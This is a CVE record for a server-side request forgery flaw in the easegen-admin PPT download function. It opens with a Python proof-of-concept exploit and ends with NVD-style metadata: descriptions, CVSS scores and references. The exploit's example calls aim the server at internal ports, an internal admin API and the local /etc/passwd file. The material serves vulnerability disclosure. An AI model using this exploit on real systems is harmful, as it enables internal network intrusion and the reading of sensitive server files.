CVE-2026-4284

import requests # CVE-2026-4284 SSRF PoC # Target: yudao-module-digitalcourse PPTUtil downloadFile # Note: Requires high privilege access def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in PPTUtil.downloadFile Args: target_url: Base URL of vulnerable yudao service attacker_controlled_url: URL to be requested by server (internal IP, file://, etc.) """ endpoint = f"{target_url}/digitalcourse/ppt/downloadFile" payload = { "url": attacker_controlled_url } try: response = requests.post(endpoint, data=payload, timeout=10) return { "status_code": response.status_code, "response": response.text[:500] } except requests.RequestException as e: return {"error": str(e)} # Example usage: # Scan internal port (SSRF to internal service) # result = exploit_ssrf("http://target.com", "http://127.0.0.1:6379/") # Read local file # result = exploit_ssrf("http://target.com", "file:///etc/passwd") # Probe internal API # result = exploit_ssrf("http://target.com", "http://10.0.0.1:8080/admin/api")

{"cve": {"id": "CVE-2026-4284", "sourceIdentifier": "[email protected]", "published": "2026-03-16T23:16:21.703", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in taoofagi easegen-admin up to 8f87936ac774065b92fb20aab55b274a6ea76433. This issue affects the function downloadFile of the file - yudao-module-digitalcourse/yudao-module-digitalcourse-biz/src/main/java/cn/iocoder/yudao/module/digitalcourse/util/PPTUtil.java of the component PPT File Handler. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en taoofagi easegen-admin hasta 8f87936ac774065b92fb20aab55b274a6ea76433. Este problema afecta a la función downloadFile del archivo - yudao-module-digitalcourse/yudao-module-digitalcourse-biz/src/main/java/cn/iocoder/yudao/module/digitalcourse/util/PPTUtil.java del componente Gestor de Archivos PPT. Esta manipulación del argumento url causa falsificación de petición del lado del servidor. Es posible iniciar el ataque remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado. Este producto está utilizando una versión continua para proporcionar entrega continua. Por lo tanto, no hay detalles de versión disponibles para las versiones afectadas ni actualizadas. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://fx4tqqfvdw4.feishu.cn/docx/XF5WdvWAEoU9jyx2C2mcImSMnBg?from=from_copylink", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351290", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351290", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771949", "source": "[email protected]"}]}}